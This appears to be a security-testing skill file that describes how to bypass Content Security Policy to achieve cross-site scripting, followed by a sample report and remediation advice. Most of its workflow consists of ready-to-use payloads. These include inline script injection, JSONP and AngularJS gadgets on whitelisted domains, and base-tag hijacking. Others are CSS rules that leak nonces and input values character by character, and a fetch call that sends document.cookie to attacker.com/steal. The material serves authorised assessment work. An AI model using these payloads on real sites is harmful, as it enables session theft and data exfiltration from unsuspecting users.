| name | performing-content-security-policy-bypass |
| description | Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
Performing Content Security Policy Bypass
When to Use
- When XSS is found but execution is blocked by Content Security Policy
- During web application security assessments to evaluate CSP effectiveness
- When testing the robustness of CSP against known bypass techniques
- During bug bounty hunting where CSP prevents direct XSS exploitation
- When auditing CSP header configuration for security weaknesses
Prerequisites
- Burp Suite for intercepting responses and analyzing CSP headers
- CSP Evaluator (Google) for automated policy analysis
- Understanding of CSP directives (script-src, default-src, style-src, etc.)
- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
- Browser developer tools for CSP violation monitoring
- Collection of whitelisted domain JSONP endpoints
Workflow
Step 1 — Analyze the CSP Policy
curl -sI http://target.com | grep -i "content-security-policy"
curl -s http://target.com | grep -i "content-security-policy"
curl -sI http://target.com | grep -i "content-security-policy-report-only"
Step 2 — Exploit unsafe-inline and unsafe-eval
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
Step 3 — Exploit Whitelisted Domain JSONP Endpoints
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
Step 4 — Exploit base-uri and Form Action Bypasses
<base href="https://attacker.com/">
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
Step 5 — Exploit Nonce and Hash Bypasses
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
Step 6 — Exploit Data Exfiltration Without script-src
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
<link rel="dns-prefetch" href="//data.attacker.com">
Key Concepts
| Concept | Description |
|---|
| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |
| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |
| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |
| Policy Injection | Injecting CSP directives through reflected user input in headers |
| base-uri Hijacking | Redirecting relative script loads by injecting a base element |
| Script Gadgets | Legitimate library features that can be abused to bypass CSP |
| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
Tools & Systems
| Tool | Purpose |
|---|
| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |
| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |
| CSP Scanner | Browser extension for identifying CSP bypass opportunities |
| csp-bypass | Curated list of CSP bypass techniques and payloads |
| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |
| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
Common Scenarios
- JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
- AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
- Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
- Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
- Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS
Output Format
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |
### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers
